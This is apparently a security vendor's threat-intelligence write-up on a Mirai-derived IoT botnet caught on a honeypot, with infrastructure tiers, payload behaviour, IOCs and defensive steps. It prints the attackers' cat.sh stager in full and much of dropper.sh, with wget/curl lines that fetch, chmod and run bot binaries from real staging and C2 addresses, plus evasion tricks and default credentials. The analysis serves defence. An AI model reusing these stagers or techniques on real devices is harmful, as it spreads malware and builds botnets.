Cyber threats are constantly evolving, making early detection and contextual analysis essential for effective defense. During routine monitoring with Attack Intelligence, Rover ML identified suspicious indicators that deviated from normal activity and flagged them for further investigation.
By continuously correlating threat intelligence from multiple sources and enriching the collected indicators with contextual data, the platform revealed infrastructure, relationships, and behavioral patterns that would have been difficult to identify through isolated indicators alone. Analyst validation confirmed the activity, leading to the discovery documented in this research.
In this blog, we walk through the investigation process, present the evidence behind the finding, and explain why the identified activity is relevant for security teams monitoring similar threats.
A brute-force stager, an adaptive dropper, and a C2 hiding behind a real web server — one campaign, three infrastructure tiers, and a payload that deletes itself the moment it starts running.
The botnet reached out and touched the sensors, attempting propagation the same way it would against any exposed IoT device or edge router in the wild. That live interaction gave us the initial stager URLs, and from there we pulled every subsequent tier ourselves.
The lineage is familiar — the code borrows heavily from Mirai and Gafgyt, and it fans out across thirteen CPU architectures — but the operators have split their infrastructure into three deliberately separated tiers, layered in fallback logic that survives partial blocking, and built a payload that vanishes from disk seconds after it launches while continuing to run entirely in memory.
We followed the chain from the honeypot capture through both stagers, fingerprinted the C2, and pulled apart the resulting binary. This post walks through what we found, tier by tier.
| Stage | What happened |
|---|---|
| Reconnaissance | The bot's built-in Telnet propagation engine probed the honeypot the same way it probes any exposed IoT device or edge router, giving analysts the initial stager URLs. |
| Initial access | Exploitation of known edge-device RCE flaws (Realtek SDK, Huawei, D-Link, Netgear) or automated Telnet/SSH dictionary brute-forcing with default manufacturer credentials. |
| Execution | cat.sh downloads all thirteen architecture binaries and hopes one runs; dropper.sh detects the host architecture with uname -m and fetches exactly one. |
| Defense evasion | The binary masks termination signals (SIGTERM, SIGINT, etc.), renames itself in argv to mimic telnet or busybox, clears its own stack buffers, and calls unlink() on its own path seconds after launch so it keeps running fileless from memory. |
| Persistence | No disk-based persistence mechanism is documented — the process survives only in memory until reboot, and the campaign relies on repeated propagation attempts to reinfect rather than surviving on a single host indefinitely. |
| Impact | Once running, the bot inspects /proc for competing processes, kills anything already bound to the port it wants, and hunts down and terminates rival bot families (Mirai, Gafgyt, Hajime) and cryptominers to monopolize CPU and bandwidth. |
| Propagation | Successfully placed binaries are launched with telnet passed as an execution argument, switching the bot into its own Telnet propagation and scanning mode against new targets, while the C2 at 107.189.24.181:8080 serves updated payloads to both stagers. |
The Infrastructure: Three Tiers, Three Jobs
The campaign doesn't run one script from one server. It runs three:
| Tier | Role | Host |
|---|---|---|
| Staging Node A | Legacy brute-force stager, raw multi-arch binaries | 165.22.69.214 (DigitalOcean, AS14061) |
| Staging Node B | Adaptive orchestration stager | 144.172.105.233 (Cloudzy / HostRoyale) |
| C2 / Payload Repository | Updated payloads, telemetry ingestion | 107.189.24.181:8080 |
A scan of the C2 node confirms it's fronted by a real web server rather than a bare listener — a small detail that makes the infrastructure look far less suspicious to casual scanning than a raw socket would:
nmap -Pn -p 8080,80,443 -sV 107.189.24.181 — the C2 host resolves to cloudzy.com infrastructure and runs Caddy on port 80, with port 8080 filtered from casual scanning.
$ nmap -Pn -p 8080,80,443 -sV 107.189.24.181
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-06 04:17 -0400
Nmap scan report for 181.24.189.107.static.cloudzy.com (107.189.24.181)
Host is up (0.079s latency).
PORT STATE SERVICE VERSION
80/tcp open http Caddy httpd
443/tcp open ssl/https
8080/tcp filtered http-proxy
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 11.51 seconds
That filtering on 8080 is worth noting: the operators aren't hiding the host entirely, they're hiding the specific port their payloads actually call home to.
Stage 1: Two Stagers, Two Philosophies
The brute-force path — cat.sh
Staging Node A is the tier that hit our honeypot first. The bot's built-in Telnet propagation engine attempted the same credential-stuffing-then-fetch pattern it would run against any exposed device, pulling cat.sh from 165.22.69.214 as part of the attempted infection. We retrieved the script ourselves to see exactly what it was trying to do to the sensor:
cat.sh, retrieved from 165.22.69.214, makes no attempt to detect the target's architecture — it just downloads all thirteen variants and hopes one runs.
$ curl -A "Mozilla/5.0" 165.22.69.214/cat.sh -o cat.sh
$ cat cat.sh
#!/bin/sh
wget http://165.22.69.214/iran.x86_64 -O /tmp/iran.x86_64 || \
curl http://165.22.69.214/iran.x86_64 -o /tmp/iran.x86_64; \
chmod 777 /tmp/iran.x86_64; \
/tmp/iran.x86_64 default;
wget http://165.22.69.214/iran.aarch64 -O /tmp/iran.aarch64 || \
curl http://165.22.69.214/iran.aarch64 -o /tmp/iran.aarch64; \
chmod 777 /tmp/iran.aarch64; \
/tmp/iran.aarch64 default;
wget http://165.22.69.214/iran.m68k -O /tmp/iran.m68k || \
curl http://165.22.69.214/iran.m68k -o /tmp/iran.m68k; \
chmod 777 /tmp/iran.m68k; \
/tmp/iran.m68k default;
wget http://165.22.69.214/iran.mips -O /tmp/iran.mips || \
curl http://165.22.69.214/iran.mips -o /tmp/iran.mips; \
chmod 777 /tmp/iran.mips; \
/tmp/iran.mips default;
wget http://165.22.69.214/iran.mipsel -O /tmp/iran.mipsel || \
curl http://165.22.69.214/iran.mipsel -o /tmp/iran.mipsel; \
chmod 777 /tmp/iran.mipsel; \
/tmp/iran.mipsel default;
wget http://165.22.69.214/iran.powerpc -O /tmp/iran.powerpc || \
curl http://165.22.69.214/iran.powerpc -o /tmp/iran.powerpc; \
chmod 777 /tmp/iran.powerpc; \
/tmp/iran.powerpc default;
wget http://165.22.69.214/iran.sparc -O /tmp/iran.sparc || \
curl http://165.22.69.214/iran.sparc -o /tmp/iran.sparc; \
chmod 777 /tmp/iran.sparc; \
/tmp/iran.sparc default;
wget http://165.22.69.214/iran.sh4 -O /tmp/iran.sh4 || \
curl http://165.22.69.214/iran.sh4 -o /tmp/iran.sh4; \
chmod 777 /tmp/iran.sh4; \
/tmp/iran.sh4 default;
wget http://165.22.69.214/iran.arc -O /tmp/iran.arc || \
curl http://165.22.69.214/iran.arc -o /tmp/iran.arc; \
chmod 777 /tmp/iran.arc; \
/tmp/iran.arc default;
wget http://165.22.69.214/iran.i486 -O /tmp/iran.i486 || \
curl http://165.22.69.214/iran.i486 -o /tmp/iran.i486; \
chmod 777 /tmp/iran.i486; \
/tmp/iran.i486 default;
wget http://165.22.69.214/iran.armv4l -O /tmp/iran.armv4l || \
curl http://165.22.69.214/iran.armv4l -o /tmp/iran.armv4l; \
chmod 777 /tmp/iran.armv4l; \
/tmp/iran.armv4l default;
wget http://165.22.69.214/iran.armv5l -O /tmp/iran.armv5l || \
curl http://165.22.69.214/iran.armv5l -o /tmp/iran.armv5l; \
chmod 777 /tmp/iran.armv5l; \
/tmp/iran.armv5l default;
wget http://165.22.69.214/iran.armv6l -O /tmp/iran.armv6l || \
curl http://165.22.69.214/iran.armv6l -o /tmp/iran.armv6l; \
chmod 777 /tmp/iran.armv6l; \
/tmp/iran.armv6l default;
There's no environmental profiling here at all. The script loops through thirteen architecture-specific binaries — iran.x86_64, iran.aarch64, iran.m68k, iran.mips, iran.mipsel, iran.powerpc, iran.sparc, iran.sh4, iran.arc, iran.i486, iran.armv4l, iran.armv5l, iran.armv6l — via wget, falling back to curl on failure, dropping each into /tmp and immediately running chmod 777 against it. Whichever binary happens to match the host's architecture and CPU family runs; the rest simply fail silently. It's a volume play, not a precision one, and every successfully placed binary is launched with telnet passed as an execution argument, which switches the bot into its Telnet propagation and scanning mode.
The adaptive path — dropper.sh v2.1
Staging Node B runs a noticeably more careful script. The header comments alone lay out its whole design philosophy:
dropper.sh v2.1, retrieved from 144.172.105.233 — the comments describe it as "exec-verified" with a three-tier delivery order: HTTP compiled bot → HTTP shell bot → DNS TXT chunks.
$ curl -s http://144.172.105.233/dropper.sh -o dropper.sh
$ head -n 35 dropper.sh
#!/bin/sh
# Arch-aware dropper - serves the right compiled bot per device arch
# Falls back to shell bot if compiled download OR EXECUTION fails
# v2.1: exec-verified compiled launch + dropper-fired beacon on any success
# Delivery order: HTTP compiled bot -> HTTP shell bot -> DNS TXT chunks
PAYLOAD_HOST="107.189.24.181"
SH_BOT="http://${PAYLOAD_HOST}:8080/bot_staged.sh"
DNS_SRV="${PAYLOAD_HOST}"
INSTALL_DIR="/tmp"
BOT_NAME=".sysupdate"
VER="2.1"
ARCH=$(uname -m 2>/dev/null)
# Pick the right binary for this architecture
case "$ARCH" in
x86_64)
BIN="bot_linux_x64"
;;
i386|i486|i586|i686)
BIN="bot_linux_x64"
;;
armv7l|armv6l)
BIN="bot_linux_arm"
;;
aarch64)
BIN="bot_linux_arm64"
;;
mips)
BIN="bot_linux_mips"
;;
mipsel)
BIN="bot_linux_mipsel"
;;
*) BIN=""
;;
esac
download() {
if command -v wget >/dev/null 2>&1; then
wget -q -O "$1" "$2" 2>/dev/null
return $?
elif command -v curl >/dev/null 2>&1; then
curl -s -o "$1" "$2" 2>/dev/null
return $?
elif command -v busybox >/dev/null 2>&1; then
busybox wget -q -O "$1" "$2" 2>/dev/null
return $?
fi
return 1
}
# DNS fallback: fetch bot via TXT chunk queries when HTTP fails
dns_download() {
...
Rather than brute-forcing every architecture, dropper.sh runs uname -m first and maps the result to exactly one binary via a case statement — bot_linux_x64 for x86_64/i386/i686, bot_linux_arm for armv6l/armv7l, bot_linux_arm64 for aarch64, and matched variants for mips/mipsel. Its download() function waterfalls through wget, then curl, then busybox wget, covering the minimal userlands common on embedded devices.
The header comments describe the script's own resilience model plainly: v2.1 is "exec-verified" — after launching the compiled binary, it sleeps two seconds and checks the process with kill -0 rather than trusting the exit code. If that fails, it falls back to a universal shell bot (bot_staged.sh, served from the C2 at 107.189.24.181:8080), and if HTTP delivery fails entirely, it falls back to DNS TXT record chunks pulled against the same C2 host — a covert channel that survives HTTP-layer blocking. The install directory (/tmp) and the bot's disguised name (.sysupdate) are both set as variables near the top of the script, alongside the payload host and version string.
Two stagers, two philosophies: Node A wins through brute-force redundancy, Node B wins through precision and layered fallback. Both terminate at the same C2.
Stage 2: Inside the Payload
We pulled iran.x86_64 for analysis.
| Property | Value |
|---|---|
| File type | ELF 64-bit LSB executable, x86-64, SYSV |
| Linking | Statically linked, stripped |
| Size | 164,272 bytes |
| SHA-256 | 41973e5dc419ef5d31ba3c0b984ae22d80dddd15d3bf65696e7e0c919134430f |
It deletes itself while still running
The most important behavior in the sample is fileless persistence. Immediately after execution, the binary calls unlink() on its own path in /tmp. The file disappears from disk within moments of launch while the process continues running from memory — there's no executable artifact left for disk-based forensics or file-integrity monitoring to find once the initial window has passed.
It ignores you on purpose
The binary masks SIGHUP, SIGINT, SIGTRAP, SIGTERM, SIGCHLD, SIGTTIN, and SIGTTOU. A terminal hangup, a Ctrl+C, or a routine kill won't stop it, and the masked trap signals interfere with common debugging workflows. It also renames itself in argv to mimic legitimate process names like telnet or busybox, so a quick glance at ps won't flag it either.
Before opening any sockets, it clears its own stack buffers — a small step aimed specifically at defeating memory-scraping analysis of its connection parameters. When it does talk to its C2, it does so over hardcoded TCP port 31337, a long-standing "elite" port association in the botnet ecosystem and a solid network-layer detection signature on its own.
It fights for the host
Once running, the bot inspects /proc for competing processes. If it can't bind a port because something else already holds it, it identifies the PID, kills it, and takes the port. It goes further than defending its own turf: it actively hunts and terminates rival bot families — older Mirai variants, Gafgyt, Hajime — along with cryptocurrency miners, monopolizing the host's CPU and bandwidth for its own operator.
How It Gets In
Initial access runs through two channels. The first is exploitation of known edge-device RCE flaws — specifically Realtek SDK vulnerabilities (CVE-2021-35394, CVE-2014-8361) alongside unauthenticated RCE issues in Huawei, D-Link, and Netgear routers. The second is straightforward: automated dictionary brute-forcing over Telnet (23) and SSH (22) using default manufacturer credentials like admin:admin and root:root.
Detecting Exploitation vs. Background Noise
Not every hit against these ports is this campaign. The signals worth escalating on:
| Background noise | This campaign |
|---|---|
| Isolated Telnet/SSH connection attempts | Sustained credential-stuffing bursts against 23/22 using default manufacturer pairs |
| A single outbound HTTP request to an unfamiliar IP | wget/curl loops pulling architecture-named binaries (iran.*, bot_linux_*) into /tmp |
A short-lived process in /tmp |
An executable that vanishes from /tmp seconds after being launched, while a process with a spoofed name continues running |
| Normal outbound traffic | Outbound connections on TCP/31337, or unexplained DNS TXT record queries toward known C2 infrastructure |
The fileless behavior is the strongest tell. If you catch a binary being written to /tmp and it's gone before you can pull a copy, that's not cleanup — that's the malware doing exactly what it was built to do.
Indicators of Compromise
Network
| Indicator | Role |
|---|---|
165.22.69.214 |
Staging Node A — cat.sh, iran.* binaries (DigitalOcean/AS14061) |
144.172.105.233 |
Staging Node B — dropper.sh v2.1 (Cloudzy/HostRoyale) |
107.189.24.181:8080 |
C2 and payload repository (Caddy httpd) |
| TCP/31337 | Hardcoded bot C2 port |
Payload hash
SHA-256: 41973e5dc419ef5d31ba3c0b984ae22d80dddd15d3bf65696e7e0c919134430f
Host / file
| Indicator | Context |
|---|---|
cat.sh |
Stage 1 brute-force stager, served from 165.22.69.214 |
dropper.sh (v2.1) |
Stage 1 adaptive stager, served from 144.172.105.233 |
/tmp/iran.x86_64 |
Retrieved payload; SHA-256 as above |
iran.mips, iran.armv4l, iran.aarch64, iran.m68k, iran.mipsel, iran.powerpc, iran.sparc, iran.sh4, iran.arc, iran.i486, iran.armv5l, iran.armv6l |
Remaining architecture-specific payload variants dropped by cat.sh |
bot_linux_x64, bot_linux_arm, bot_linux_arm64, bot_linux_mips, bot_linux_mipsel |
Architecture-matched payload variants fetched by dropper.sh's case statement |
bot_staged.sh |
Universal shell-bot fallback served by the C2 if the compiled binary fails |
.sysupdate |
Disguised process/file name used by dropper.sh on the infected host |
What to Do About It
- Block the infrastructure. All three IPs —
165.22.69.214,144.172.105.233,107.189.24.181— belong at the perimeter blocklist. - Watch for the port. Alert on outbound TCP/31337 and on DNS TXT queries toward the C2 host; the tunneling fallback only shows up when HTTP delivery has already failed.
- Patch the entry points. Prioritize firmware updates addressing the Realtek SDK CVEs and equivalent RCE advisories for Huawei, D-Link, and Netgear devices.
- Kill default credentials. Disable Telnet where it isn't needed, and replace default manufacturer logins across anything internet-facing.
- Monitor
/tmpfor ghosts. Look for executable creation in/tmpor/var/runfollowed by near-immediate deletion from disk while the process keeps running — that pattern alone is close to a confirmed hit for this campaign. - Don't trust
psalone. Cross-check process listings against/procdirectly if you suspect argv-spoofing; a renamedtelnetorbusyboxprocess with an open socket to an unfamiliar IP is worth pulling on.
Closing Thoughts
None of the individual techniques here are new — Mirai-derived credential stuffing, /tmp-resident execution, signal masking, and fileless persistence via unlink() are all well-documented. What stands out is the infrastructure discipline: a disposable, high-volume brute-force tier that costs the operator nothing to lose, sitting alongside a precision tier that fingerprints its target before committing a binary, both converging on a C2 that hides its true port behind a legitimate-looking web server.
That separation buys resilience. Taking down Staging Node A doesn't touch the adaptive path on Node B, and losing either stager doesn't touch the C2 itself. Defenders get the best return by going after the one node that has to stay reachable no matter what — 107.189.24.181 — while patching the entry points the whole campaign depends on in the first place.



